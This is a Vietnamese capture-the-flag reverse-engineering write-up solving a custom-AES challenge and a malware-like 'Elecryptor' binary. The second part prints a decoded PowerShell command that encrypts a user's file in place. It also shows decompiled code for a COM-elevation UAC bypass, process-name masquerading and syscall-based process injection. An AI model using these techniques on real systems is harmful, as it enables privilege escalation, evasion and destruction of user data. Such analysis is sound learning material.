![image](https://hackmd.io/_uploads/S19HXt03el.png)  
mở file challenge lên vào load file signature vừa tạo vào:  
![image](https://hackmd.io/_uploads/SJd6QYR3lx.png)  
bây giờ chương trình đã có tên hàm rất đẹp:  
![image](https://hackmd.io/_uploads/BybmNKC2xe.png)  
ta vào hàm `sub_1400A6C40`:  
![image](https://hackmd.io/_uploads/ByWVBKC3le.png)  
đây chỉ là chương trình decrypt aes đơn giản thôi, tuy nhiên mình thử decrypt và không thành công.  
bằng cách nào đấy mình bật scyllahide lên và dump custom sbox ra thì decrypt thành công :\)  
![image](https://hackmd.io/_uploads/BkGcwtR3gl.png)  
sbox chỉ có 255 bytes và phải pad thêm bytes `0x00`, chắc author không để ý hoặc có thể cố tình.  
script:  
```python=
SBOX = [
    0xDE,0x1C,0x5B,0x07,0x0D,0x3F,0xD0,0xBF,0xC2,0x82,0x40,0x25,0xF4,0x7E,0x93,0xDD,
    0x39,0x05,0x6A,0x16,0x68,0x5A,0x9B,0x7D,0x09,0xB1,0xCA,0xE4,0xAE,0x37,0x6C,0x62,
    0xAF,0xB2,0xC1,0x02,0x75,0x71,0xF1,0xCD,0xA3,0x0B,0xBB,0xA0,0x2B,0x38,0x29,0x7B,
    0xFB,0x1B,0x01,0x4D,0x17,0x8E,0xCC,0xFC,0xA4,0xA7,0xE3,0x34,0x12,0x91,0x9A,0x9C,
    0x30,0x90,0x31,0x3D,0x61,0x96,0x6B,0x3C,0x15,0x54,0x74,0x84,0x21,0xB5,0x85,0xE2,
    0xD8,0xB0,0x44,0x3A,0x7C,0x20,0x0C,0x78,0xFE,0xC4,0x51,0xAB,0xDA,0xB6,0x70,0xEB,
    0xE1,0x22,0xD9,0x8B,0x72,0xCF,0xEE,0x2A,0xEF,0xE8,0xE0,0x35,0x65,0x32,0xEC,0x66,
    0x5F,0xD3,0xB8,0x77,0x33,0xF0,0x92,0x46,0x58,0xB9,0xD5,0xF6,0xC5,0xBA,0xDB,0xB3,
    0x2D,0x3E,0x7F,0x04,0xC7,0x6D,0xA2,0xF3,0xCB,0xFD,0x9D,0x5D,0x98,0x67,0x69,0x6F,
    0xFA,0x0A,0xA1,0x95,0x80,0x59,0x1A,0x03,0x97,0x83,0x4A,0x11,0x9E,0xC8,0x06,0x24,
    0xB4,0x08,0xF2,0xC9,0x10,0xD2,0x1E,0xBD,0xAA,0x9F,0xD1,0x26,0x2E,0xE6,0x0F,0x60,
    0xF7,0xA5,0x79,0xC3,0x76,0x87,0x43,0x5E,0x42,0x47,0x86,0x2F,0x3B,0x56,0x8A,0x41,
    0x53,0x81,0x50,0x8D,0x4B,0xA9,0x27,0x4E,0x13,0x4F,0x88,0x63,0x48,0x49,0xD6,0xB7,
    0x28,0x6E,0xDC,0x5C,0x23,0xEA,0xBE,0x73,0xE9,0x14,0x1D,0x8F,0x4C,0xFF,0xE5,0x64,
    0x94,0x1F,0xC0,0xD7,0xBC,0x55,0xC6,0xDF,0xAD,0x7A,0x0E,0x19,0xA8,0x89,0x57,0x36,
    0x45,0xE7,0xF9,0xCE,0xF8,0x8C,0x99,0xF5,0x18,0xA6,0x52,0xED,0xAC,0xD4,0x2C,0x00]

INV_SBOX = [0]*256
for i,v in enumerate(SBOX): INV_SBOX[v]=i

RCON = [0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]

def xtime(a): return ((a<<1)^0x1B) & 0xFF if (a&0x80) else (a<<1)&0xFF
def mul(a,b):
    res=0
    while b:
        if b&1: res ^= a
        a = xtime(a)
        b >>= 1
    return res & 0xFF

def rot_word(w): return w[1:]+w[:1]
def sub_word(w): return [SBOX[b] for b in w]

def key_expansion(key16):
    key = list(key16)
    Nk=4; Nr=10; Nb=4
    w=[key[i*4:(i+1)*4] for i in range(Nk)]
    for i in range(Nk, Nb*(Nr+1)):
        temp = w[i-1].copy()
        if i % Nk == 0:
            temp = sub_word(rot_word(temp))
            temp[0] ^= RCON[i//Nk]
        w.append([ (w[i-Nk][j] ^ temp[j]) & 0xFF for j in range(4)])
    roundkeys = []
    for r in range(Nr+1):
        rk = []
        for c in range(4):
            rk += w[r*4 + c]
        roundkeys.append(rk)
    return roundkeys

def add_round_key(state, rk):
    return [s ^ k for s,k in zip(state, rk)]

def sub_bytes(state):
    return [SBOX[b] for b in state]

def inv_sub_bytes(state):
    return [INV_SBOX[b] for b in state]

def shift_rows(s):
    out = [0]*16
    for r in range(4):
        for c in range(4):
            out[r + 4*c] = s[r + 4*((c + r) % 4)]
    return out

def inv_shift_rows(s):
    out = [0]*16
    for r in range(4):
        for c in range(4):
            out[r + 4*c] = s[r + 4*((c - r) % 4)]
    return out

def mix_columns(s):
    out = [0]*16
    for c in range(4):
        col = s[c*4:(c+1)*4]
        a0,a1,a2,a3 = col
        out[c*4+0] = (mul(a0,2) ^ mul(a1,3) ^ a2 ^ a3) & 0xFF
        out[c*4+1] = (a0 ^ mul(a1,2) ^ mul(a2,3) ^ a3) & 0xFF
        out[c*4+2] = (a0 ^ a1 ^ mul(a2,2) ^ mul(a3,3)) & 0xFF
        out[c*4+3] = (mul(a0,3) ^ a1 ^ a2 ^ mul(a3,2)) & 0xFF
    return out

def inv_mix_columns(s):
    out = [0]*16
    for c in range(4):
        a0,a1,a2,a3 = s[c*4:(c+1)*4]
        out[c*4+0] = (mul(a0,0x0e) ^ mul(a1,0x0b) ^ mul(a2,0x0d) ^ mul(a3,0x09)) & 0xFF
        out[c*4+1] = (mul(a0,0x09) ^ mul(a1,0x0e) ^ mul(a2,0x0b) ^ mul(a3,0x0d)) & 0xFF
        out[c*4+2] = (mul(a0,0x0d) ^ mul(a1,0x09) ^ mul(a2,0x0e) ^ mul(a3,0x0b)) & 0xFF
        out[c*4+3] = (mul(a0,0x0b) ^ mul(a1,0x0d) ^ mul(a2,0x09) ^ mul(a3,0x0e)) & 0xFF
    return out

def aes_decrypt_block(cipher16, key16):
    roundkeys = key_expansion(key16)
    Nr = 10
    state = list(cipher16)
    state = add_round_key(state, roundkeys[Nr])
    for r in range(Nr-1,0,-1):
        state = inv_shift_rows(state)
        state = inv_sub_bytes(state)
        state = add_round_key(state, roundkeys[r])
        state = inv_mix_columns(state)
    state = inv_shift_rows(state)
    state = inv_sub_bytes(state)
    state = add_round_key(state, roundkeys[0])
    return bytes(state)

if __name__ == "__main__":
    key = bytes([0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x97, 0x75, 0x46, 0x20, 0x63, 0x74])
    cipher = bytes([0x8A, 0x23, 0x22, 0x6D, 0xDB, 0x7C, 0x18, 0xB4, 0x22, 0xE8, 0x20, 0x56, 0x0D, 0x57, 0x55, 0x2C, 0x48, 0x10, 0x0C, 0x46, 0xA1, 0x8F, 0x69, 0x63, 0xCB, 0xD0, 0xF2, 0xAB, 0x61, 0x8B, 0x65, 0x82, 0x1C, 0x95, 0x0B, 0xF1, 0x14, 0x06, 0x22, 0x91, 0x29, 0x5C, 0x13, 0x5F, 0xFC, 0xC7, 0xC4, 0xA0, 0x6D, 0xA7, 0xFA, 0x80, 0x04, 0x8B, 0xEF, 0xB2, 0xE8, 0xC8, 0xAC, 0x38, 0x24, 0x7C, 0x79, 0xF4, 0x18, 0x48, 0x3D, 0x3A, 0x3F, 0xFD, 0xDE, 0xAC, 0x18, 0xB0, 0x44, 0xB1, 0x5D, 0xA2, 0xE0, 0xA6])
    for i in range(0,len(cipher),16):
        pt = aes_decrypt_block(cipher[i:i+16], key)
        print(pt.decode(),end='')
#KMACTF{97baa5e0a73cba5e114e5d4024dac31a1d6eb7d8964c4f669389482cebee94db}
```
Flag: `KMACTF{97baa5e0a73cba5e114e5d4024dac31a1d6eb7d8964c4f669389482cebee94db}`  


#  Elecryptor:  
![image](https://hackmd.io/_uploads/BJwwzF03eg.png)  
ta xem hàm main:  
![image](https://hackmd.io/_uploads/BJnjw9Anle.png)  
chương trình thực hiện 1 lệnh powershell, ta decrypt [base64](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Remove_null_bytes()&input=SkFCd0FHRUFkQUJvQUQwQUlnQkVBRG9BWEFCSkFHMEFjQUJ2QUhJQWRBQmhBRzRBZEFCZkFFNEFid0IwQUdVQUxnQjBBSGdBZEFBaUFEc0FKQUJ3QUd3QVlRQnBBRzRBUFFCYkFGTUFlUUJ6QUhRQVpRQnRBQzRBU1FCUEFDNEFSZ0JwQUd3QVpRQmRBRG9BT2dCU0FHVUFZUUJrQUVFQWJBQnNBRUlBZVFCMEFHVUFjd0FvQUNRQWNBQmhBSFFBYUFBcEFEc0FKQUJyQUdVQWVRQTlBRTRBWlFCM0FDMEFUd0JpQUdvQVpRQmpBSFFBSUFCaUFIa0FkQUJsQUZzQVhRQWdBRFFBTUFBN0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCVEFHVUFZd0IxQUhJQWFRQjBBSGtBTGdCREFISUFlUUJ3QUhRQWJ3Qm5BSElBWVFCd0FHZ0FlUUF1QUZJQVlRQnVBR1FBYndCdEFFNEFkUUJ0QUdJQVpRQnlBRWNBWlFCdUFHVUFjZ0JoQUhRQWJ3QnlBRjBBT2dBNkFFTUFjZ0JsQUdFQWRBQmxBQ2dBS1FBdUFFY0FaUUIwQUVJQWVRQjBBR1VBY3dBb0FDUUFhd0JsQUhrQUtRQTdBQ1FBWXdCcEFIQUFhQUJsQUhJQVBRQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBWWdCNUFIUUFaUUJiQUYwQUlBQWtBSEFBYkFCaEFHa0FiZ0F1QUV3QVpRQnVBR2NBZEFCb0FEc0FaZ0J2QUhJQUtBQWtBR2tBUFFBd0FEc0FKQUJwQUNBQUxRQnNBSFFBSUFBa0FIQUFiQUJoQUdrQWJnQXVBRXdBWlFCdUFHY0FkQUJvQURzQUpBQnBBQ3NBS3dBcEFIc0FKQUJqQUdrQWNBQm9BR1VBY2dCYkFDUUFhUUJkQUQwQUpBQndBR3dBWVFCcEFHNEFXd0FrQUdrQVhRQXRBR0lBZUFCdkFISUFJQUFrQUdzQVpRQjVBRnNBSkFCcEFDVUFKQUJyQUdVQWVRQXVBRXdBWlFCdUFHY0FkQUJvQUYwQWZRQTdBQ1FBYndCMUFIUUFjQUIxQUhRQVBRQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBWWdCNUFIUUFaUUJiQUYwQUlBQW9BQ1FBWXdCcEFIQUFhQUJsQUhJQUxnQk1BR1VBYmdCbkFIUUFhQUFyQUNRQWF3QmxBSGtBTGdCTUFHVUFiZ0JuQUhRQWFBQXBBRHNBV3dCQkFISUFjZ0JoQUhrQVhRQTZBRG9BUXdCdkFIQUFlUUFvQUNRQVl3QnBBSEFBYUFCbEFISUFMQUF3QUN3QUpBQnZBSFVBZEFCd0FIVUFkQUFzQURBQUxBQWtBR01BYVFCd0FHZ0FaUUJ5QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUE3QUZzQVFRQnlBSElBWVFCNUFGMEFPZ0E2QUVNQWJ3QndBSGtBS0FBa0FHc0FaUUI1QUN3QU1BQXNBQ1FBYndCMUFIUUFjQUIxQUhRQUxBQWtBR01BYVFCd0FHZ0FaUUJ5QUM0QVRBQmxBRzRBWndCMEFHZ0FMQUFrQUdzQVpRQjVBQzRBVEFCbEFHNEFad0IwQUdnQUtRQTdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQkpBRThBTGdCR0FHa0FiQUJsQUYwQU9nQTZBRmNBY2dCcEFIUUFaUUJCQUd3QWJBQkNBSGtBZEFCbEFITUFLQUFrQUhBQVlRQjBBR2dBTEFBa0FHOEFkUUIwQUhBQWRRQjBBQ2tB):  
```
$path="D:\Important_Note.txt";$plain=[System.IO.File]::ReadAllBytes($path);$key=New-Object byte[] 40;[System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($key);$cipher=New-Object byte[] $plain.Length;for($i=0;$i -lt $plain.Length;$i++){$cipher[$i]=$plain[$i]-bxor $key[$i%$key.Length]};$output=New-Object byte[] ($cipher.Length+$key.Length);[Array]::Copy($cipher,0,$output,0,$cipher.Length);[Array]::Copy($key,0,$output,$cipher.Length,$key.Length);[System.IO.File]::WriteAllBytes($path,$output)
```
viết chương trình decrypt:  
```python=
def decrypt(inp: str, out: str):
    data = open(inp,"rb").read()
    key = data[-40:]
    ct = list(data[:-40])
    for i in range(len(ct)):
        ct[i] ^=key[i % 40]
    open(out,"wb").write(bytes(ct))
    print(f"Decrypted")

decrypt(r"C:\Users\ADMIN\Downloads\Important_Note.txt", "lmao.bin")
```
![image](https://hackmd.io/_uploads/Sy9yjq0hlg.png)  
không ra gì cả :\(  
ta kiểm tra chương trình kỹ hơn:  
chú ý initterm:  
![image](https://hackmd.io/_uploads/rkCFjqRnlg.png)  
![image](https://hackmd.io/_uploads/Hyr2icChgg.png)  
![image](https://hackmd.io/_uploads/ByE6o9A3xe.png)  
hàm `atexit` dùng để đăng ký hàm sẽ thực thi khi `exit()` hoặc kết thúc `main`   
![image](https://hackmd.io/_uploads/Byb13q02eg.png)  
```c=
void __fastcall sub_7FF7582416F0()
{
  const WCHAR *CommandLineW; // rax
  LPWSTR v1; // rsi
  HRESULT v2; // eax
  HRESULT v3; // ebx
  __int64 v4; // rcx
  WCHAR v5; // ax
  __int16 *v6; // rax
  bool v7; // zf
  HRESULT Object; // eax
  PSID v9; // rdi
  PSID SidToCheck; // [rsp+60h] [rbp-A0h] BYREF
  BOOL IsMember; // [rsp+68h] [rbp-98h] BYREF
  struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [rsp+6Ch] [rbp-94h] BYREF
  BIND_OPTS pBindOptions[3]; // [rsp+78h] [rbp-88h] BYREF
  __int64 v14[7]; // [rsp+B0h] [rbp-50h]
  __int16 v15; // [rsp+E8h] [rbp-18h]
  __int16 v16; // [rsp+17Eh] [rbp+7Eh] BYREF
  WCHAR pszName[264]; // [rsp+180h] [rbp+80h] BYREF

  *(_WORD *)&pIdentifierAuthority.Value[4] = 1280;
  IsMember = 0;
  SidToCheck = 0i64;
  *(_DWORD *)pIdentifierAuthority.Value = 0;
  if ( AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &SidToCheck) )
  {
    if ( !CheckTokenMembership(0i64, SidToCheck, &IsMember) )
      IsMember = 0;
    FreeSid(SidToCheck);
  }
  if ( IsMember )                               // isAdmin?
  {
    sub_7FF758241330();
    return;
  }
  sub_7FF758241020();                           // fake explorer.exe
  CommandLineW = GetCommandLineW();
  IsMember = 0;
  v1 = *CommandLineToArgvW(CommandLineW, &IsMember);
  v2 = CoInitializeEx(0i64, 2u);
  SidToCheck = 0i64;
  v3 = v2;
  v15 = 0;
  memset(pBindOptions, 0, sizeof(pBindOptions));
  pBindOptions[0].cbStruct = 48;
  v14[0] = 0x760065006C0045i64;
  v4 = 0i64;
  pBindOptions[1].grfFlags = 4;
  v14[1] = 0x6F006900740061i64;
  v14[2] = 0x640041003A006Ei64;
  v14[3] = 0x69006E0069006Di64;
  v14[4] = 0x61007200740073i64;
  v14[5] = 0x210072006F0074i64;
  v14[6] = 0x3A00770065006Ei64;                 // v14 = "Elevation:Administrator!new:"
                                                // 
  do
  {
    v5 = *(_WORD *)((char *)v14 + v4 * 2);
    pszName[v4++] = v5;
  }
  while ( v5 );
  v6 = &v16;
  do
  {
    v7 = v6[1] == 0;
    ++v6;
  }
  while ( !v7 );
  *(_OWORD *)v6 = xmmword_7FF758243360;
  *((_OWORD *)v6 + 1) = xmmword_7FF758243370;
  *((_OWORD *)v6 + 2) = xmmword_7FF758243380;
  *((_OWORD *)v6 + 3) = xmmword_7FF758243390;
  *((_QWORD *)v6 + 8) = 0x43004500420046i64;
  *((_DWORD *)v6 + 18) = 8192055;               // v6 = {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
  v6[38] = 0;
  Object = CoGetObject(pszName, pBindOptions, &riid, &SidToCheck);// /////
  v9 = SidToCheck;
  if ( Object )
  {
    if ( !SidToCheck )
      goto LABEL_16;
  }
  else
  {
    if ( !SidToCheck )
      goto LABEL_16;
    (*(void (__fastcall **)(PSID, LPWSTR, _QWORD, _QWORD, _DWORD, int))(*(_QWORD *)SidToCheck + 72i64))(
      SidToCheck,
      v1,
      0i64,
      0i64,
      0,
      5);
  }
  (*(void (__fastcall **)(PSID))(*(_QWORD *)v9 + 16i64))(v9);
LABEL_16:
  if ( !v3 )
    CoUninitialize();
}
```
hàm này kiểm tra quyền Admin, nếu không có quyền admin thì sẽ spawn 1 app hệ thống yêu cầu quyền admin, khi người dùng chọn allow thì chương trình bh.exe sẽ được tạo với quyền admin.  
ta xem hàm `sub_7FF758241020`:  
```c=
_BOOL8 sub_7FF758241020()
{
  HMODULE ModuleHandleW; // rax
  NTSTATUS (__stdcall *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); // rdi
  HMODULE v2; // rax
  FARPROC RtlEnterCriticalSection; // r14
  HMODULE v4; // rax
  FARPROC RtlLeaveCriticalSection; // r15
  HMODULE v6; // rax
  void (__stdcall *RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR); // rsi
  DWORD CurrentProcessId; // eax
  HANDLE v9; // rax
  void *v10; // rbx
  wchar_t *v11; // r12
  __int64 v12; // rdi
  _QWORD *Buffer; // [rsp+30h] [rbp-D0h] BYREF
  __int64 v15; // [rsp+38h] [rbp-C8h] BYREF
  __int64 v16; // [rsp+40h] [rbp-C0h] BYREF
  __int64 v17; // [rsp+48h] [rbp-B8h] BYREF
  char v18[8]; // [rsp+50h] [rbp-B0h] BYREF
  char BaseAddress[40]; // [rsp+58h] [rbp-A8h] BYREF
  WCHAR Destination[264]; // [rsp+80h] [rbp-80h] BYREF
  wchar_t String2[264]; // [rsp+290h] [rbp+190h] BYREF
  WCHAR Filename[264]; // [rsp+4A0h] [rbp+3A0h] BYREF

  ModuleHandleW = GetModuleHandleW(L"ntdll.dll");
  NtQueryInformationProcess = (NTSTATUS (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(ModuleHandleW, "NtQueryInformationProcess");
  if ( NtQueryInformationProcess )
  {
    v2 = GetModuleHandleW(L"ntdll.dll");
    RtlEnterCriticalSection = GetProcAddress(v2, "RtlEnterCriticalSection");
    if ( RtlEnterCriticalSection )
    {
      v4 = GetModuleHandleW(L"ntdll.dll");
      RtlLeaveCriticalSection = GetProcAddress(v4, "RtlLeaveCriticalSection");
      if ( RtlLeaveCriticalSection )
      {
        v6 = GetModuleHandleW(L"ntdll.dll");
        RtlInitUnicodeString = (void (__stdcall *)(PUNICODE_STRING, PCWSTR))GetProcAddress(v6, "RtlInitUnicodeString");
        if ( RtlInitUnicodeString )
        {
          CurrentProcessId = GetCurrentProcessId();
          v9 = OpenProcess(0x438u, 0, CurrentProcessId);
          v10 = v9;
          if ( v9 != (HANDLE)-1i64 )
          {
            ((void (__fastcall *)(HANDLE, _QWORD, char *, __int64, _QWORD))NtQueryInformationProcess)(
              v9,
              0i64,
              v18,
              48i64,
              0i64);
            if ( ReadProcessMemory(v10, BaseAddress, &Buffer, 8ui64, 0i64) )
            {
              if ( ReadProcessMemory(v10, Buffer + 3, &v17, 8ui64, 0i64) )
              {
                GetWindowsDirectoryW(Destination, 0x104u);
                wcscat_s(Destination, 0x105ui64, L"\\explorer.exe");
                v11 = (wchar_t *)malloc(0x104ui64);
                wcscpy_s(v11, 0x104ui64, Destination);
                ((void (__fastcall *)(_QWORD))RtlEnterCriticalSection)(Buffer[7]);
                ((void (__fastcall *)(__int64, wchar_t *))RtlInitUnicodeString)(Buffer[4] + 96i64, v11);
                ((void (__fastcall *)(__int64, wchar_t *))RtlInitUnicodeString)(Buffer[4] + 112i64, v11);
                GetModuleFileNameW(0i64, Filename, 0x104u);
                v12 = *(_QWORD *)(Buffer[3] + 16i64);
                v16 = *(_QWORD *)(v17 + 16);
                while ( ReadProcessMemory(v10, &v16, &v15, 8ui64, 0i64)
                     && ReadProcessMemory(v10, *(LPCVOID *)(v15 + 80), String2, *(unsigned __int16 *)(v15 + 74), 0i64) )
                {
                  if ( !wcsicmp(Filename, String2) )
                  {
                    ((void (__fastcall *)(__int64, wchar_t *))RtlInitUnicodeString)(v15 + 72, v11);
                    ((void (__fastcall *)(__int64, wchar_t *))RtlInitUnicodeString)(v15 + 88, v11);
LABEL_15:
                    ((void (__fastcall *)(_QWORD))RtlLeaveCriticalSection)(Buffer[7]);
                    CloseHandle(v10);
                    return wcsicmp(Destination, String2) != 0;
                  }
                  v16 = *(_QWORD *)v15;
                  if ( v16 == v12 )
                    goto LABEL_15;
                }
              }
            }
          }
        }
      }
    }
  }
  return 0i64;
}
```
hàm này có khả năng ngụy trang với các chương trình theo dõi process khiến cho nó trông như 1 process bình thường:  
đặt breakpoint:  
![image](https://hackmd.io/_uploads/r1rCsoCheg.png)  
thử mở list process của IDA:  
![image](https://hackmd.io/_uploads/SkFx6oAnxg.png)  
F8:  
![image](https://hackmd.io/_uploads/SyDz2oR3lg.png)  
vẫn là PID đó:  
![image](https://hackmd.io/_uploads/B1iVTjChgg.png)  
tuy nhiên các app như task manager thì lại không có tác dụng:  
![image](https://hackmd.io/_uploads/ryX9Ti0neg.png)  
tiếp theo đến hàm `Object = CoGetObject(pszName, pBindOptions, &riid, &SidToCheck);`:  
![image](https://hackmd.io/_uploads/H114yhChll.png)  
khi ta thực thi chương trình sẽ bật lên app có tên là connection manager, yêu cầu quyền admin.  
tiếp theo:  
```c
else
{
  (*(void (__fastcall **)(...))(*(_QWORD *)SidToCheck + 72i64))(
    SidToCheck, // Tham số 'this' (con trỏ đến đối tượng COM)
    v1,         // Tham số 1: Đường dẫn file để thực thi ("C:\...\bh2.exe")
    0i64,       // Tham số 2: Tham số dòng lệnh (không có)
    0i64,       // Tham số 3: Thư mục làm việc (không có)
    0,          // Tham số 4: ...
    5);         // Tham số 5: Trạng thái hiển thị (SW_SHOW)
}
```
nếu ta để ý kỹ thì sẽ thấy chương trình bh.exe bật lên với cửa sổ admin.  
kỹ thuật này mình chưa rõ lắm nó hoạt động chi tiết thế nào :\(  
vậy luồng chính của ta vẫn là nằm trong hàm `sub_7FF6AB4E1330()`, sau khi chương trình có quyền admin.  
```c=
int sub_7FF690211330()
{
  HMODULE ModuleHandleW; // rbx
  HRSRC ResourceW; // rax
  HRSRC v2; // rdi
  HRSRC v3; // rsi
  DWORD v4; // r14d
  const void *v5; // rdi
  _BYTE *v6; // rsi
  HRSRC v7; // rbx
  __m128 si128; // xmm2
  HMODULE ModuleHandleA; // rax
  FARPROC ProcAddress; // rax
  _QWORD v12[2]; // [rsp+50h] [rbp-B0h] BYREF
  __int128 v13; // [rsp+60h] [rbp-A0h] BYREF
  __int64 v14; // [rsp+70h] [rbp-90h]
  __int64 v15; // [rsp+78h] [rbp-88h]
  __int64 v16; // [rsp+80h] [rbp-80h]
  __int128 v17; // [rsp+88h] [rbp-78h]
  __int128 v18; // [rsp+98h] [rbp-68h]
  __int128 v19; // [rsp+A8h] [rbp-58h]
  DWORD NumberOfBytesWritten; // [rsp+B8h] [rbp-48h] BYREF
  int v21; // [rsp+BCh] [rbp-44h]
  __int64 v22; // [rsp+C8h] [rbp-38h]
  int v23; // [rsp+D0h] [rbp-30h] BYREF
  __int128 v24; // [rsp+D4h] [rbp-2Ch]
  __int128 v25; // [rsp+E4h] [rbp-1Ch]
  __int128 v26; // [rsp+F4h] [rbp-Ch]
  __int128 v27; // [rsp+104h] [rbp+4h]
  __int128 v28; // [rsp+114h] [rbp+14h]
  __int128 v29; // [rsp+124h] [rbp+24h]
  int v30; // [rsp+134h] [rbp+34h]
  CHAR ModuleName[16]; // [rsp+140h] [rbp+40h] BYREF
  char v32; // [rsp+150h] [rbp+50h]
  CHAR ProcName[16]; // [rsp+160h] [rbp+60h] BYREF
  char v34; // [rsp+170h] [rbp+70h]
  WCHAR TempFileName[264]; // [rsp+180h] [rbp+80h] BYREF
  WCHAR Buffer[264]; // [rsp+390h] [rbp+290h] BYREF

  ModuleHandleW = GetModuleHandleW(0i64);
  ResourceW = FindResourceW(ModuleHandleW, (LPCWSTR)0x68, L"BIN");
  v2 = ResourceW;
  if ( ResourceW )
  {
    ResourceW = (HRSRC)LoadResource(ModuleHandleW, ResourceW);
    v3 = ResourceW;
    if ( ResourceW )
    {
      v4 = SizeofResource(ModuleHandleW, v2);
      v5 = LockResource(v3);
      strcpy((char *)v12, "KMACTF_2025");
      v6 = malloc(v4);
      memcpy(v6, v5, v4);
      sub_7FF6902119D0(v6, v4, (__int64)v12);   // RC4
      LODWORD(ResourceW) = GetTempPathW(0x104u, Buffer);
      if ( (_DWORD)ResourceW )
      {
        LODWORD(ResourceW) = GetTempFileNameW(Buffer, L"res", 0, TempFileName);
        if ( (_DWORD)ResourceW )
        {
          ResourceW = (HRSRC)CreateFileW(TempFileName, 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
          v7 = ResourceW;
          if ( ResourceW != (HRSRC)-1i64 )
          {
            NumberOfBytesWritten = 0;
            if ( WriteFile(ResourceW, v6, v4, &NumberOfBytesWritten, 0i64) )// ghi file
            {
              CloseHandle(v7);
              si128 = (__m128)_mm_load_si128((const __m128i *)&xmmword_7FF690213A70);
              v23 = 104;
              v21 = 0;
              v15 = 0i64;
              v24 = 0i64;
              v30 = 0;
              v25 = 0i64;
              v14 = 0i64;
              v26 = 0i64;
              v32 = 0;
              v27 = 0i64;
              v34 = 0;
              v28 = 0i64;
              v29 = 0i64;
              v13 = 0i64;
              v17 = 0i64;
              v18 = 0i64;
              v19 = 0i64;
              *(__m128 *)ModuleName = _mm_xor_ps(si128, (__m128)_mm_loadu_si128((const __m128i *)&xmmword_7FF690213488));
              *(__m128 *)ProcName = _mm_xor_ps(si128, (__m128)_mm_loadu_si128((const __m128i *)&xmmword_7FF690213498));
              ModuleHandleA = GetModuleHandleA(ModuleName);// resolve dll
              if ( ModuleHandleA )
              {
                ProcAddress = GetProcAddress(ModuleHandleA, ProcName);// resolve API CreateProcessW
                if ( ProcAddress )
                {
                  if ( ((unsigned int (__fastcall *)(WCHAR *, _QWORD, _QWORD, _QWORD, int, int, _QWORD, _QWORD, int *, __int128 *, _QWORD, _DWORD))ProcAddress)(
                         TempFileName,
                         0i64,
                         0i64,
                         0i64,
                         1,
                         4,
                         0i64,
                         0i64,
                         &v23,
                         &v13,
                         v12[0],
                         v12[1])
                    && !(unsigned int)sub_7FF690211BC0()// syscall ???
                    && !(unsigned int)sub_7FF690211BD6() )// syscall ???
                  {
                    sub_7FF6902119D0(v6 + 1024, 0x65000i64, (__int64)v12);// RC4
                    v22 = 0x65000i64;
                    v16 = v15 + 4096;
                    if ( !(unsigned int)sub_7FF690211BCB()// syscall ???
                      && !(unsigned int)sub_7FF690211BE1(v13, v16, v6 + 1024, 413696i64, 0i64) )// syscall ???
                    {
                      sub_7FF690211BEC(*((_QWORD *)&v13 + 1), 0i64);
                      sub_7FF690211BF7(v13, 0i64, 0i64);
                    }
                    sub_7FF690211C02(v13, 0i64);
                    sub_7FF690211C0D(*((_QWORD *)&v13 + 1));
                    sub_7FF690211C0D(v13);
                  }
                }
              }
              free(v6);
              LODWORD(ResourceW) = DeleteFileW(TempFileName);
            }
            else
            {
              LODWORD(ResourceW) = CloseHandle(v7);
            }
          }
        }
      }
    }
  }
  return (int)ResourceW;
}
```
hàm này thực hiện giải mã rc4 file pe, tạo process, sử dụng resolve API qua `GetProcAddress` và khá nhiều syscall gây khó phân tích.  
ta lấy ra file pe bằng cách nop deletefile đi.  
![image](https://hackmd.io/_uploads/B1gb_2Rnge.png)  
vì chương trình thực hiện decrypt RC4 lần nữa từ bytes 1024 nên ta phải decrypt tiếp  
`sub_7FF6902119D0(v6 + 1024, 0x65000i64, (__int64)v12);`
script:  
```python=
from Crypto.Cipher import ARC4
def main():
    key = b'KMACTF_2025'
    data = open(r"C:\Users\ADMIN\Downloads\res4B13.tmp","rb").read()
    ct=data[1024:413696]

    cipher = ARC4.new(key)
    pl = cipher.decrypt(ct)
    open("lmao2.bin","wb").write(data[:1024]+pl+data[413696:])
    print(f"decrypted")

main()
```
sử dụng kỹ thuật như bài simple để lấy symbol .net native:  
![image](https://hackmd.io/_uploads/Sy1Z22C3eg.png)  
chương trình trên sử dụng mã hóa aes cbc:  
![image](https://hackmd.io/_uploads/r1gzF60nee.png)

script solve:  
```python=
from Crypto.Cipher import AES
data = open('Important_Note.txt','rb').read()
iv = data[-16:]
key = data[-48:-16]
ciphertext = data[:-48]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
pt = pt[:-pt[-1]]
data = pt
key = data[-40:]
cipher = data[:-40]
plain = bytes([c ^ key[i % len(key)] for i, c in enumerate(cipher)])
pt=plain
data = pt
key = data[-40:]
cipher = data[:-40]
plain = bytes([c ^ key[i % len(key)] for i, c in enumerate(cipher)])
print(plain)
#b"Congratulations!!! Here is your Flag: N00b_3ncryp70r_w1th_3l3v47i0n_us3_ICMLu4U7il_C0M_In73rf4c3_4nd_.N37_407_^.^\r\nDon't forget to add the Format Flag (KMACTF{...}) when submitting :3"

```
Flag: `KMACTF{Congratulations!!! Here is your Flag: N00b_3ncryp70r_w1th_3l3v47i0n_us3_ICMLu4U7il_C0M_In73rf4c3_4nd_.N37_407_^.^}`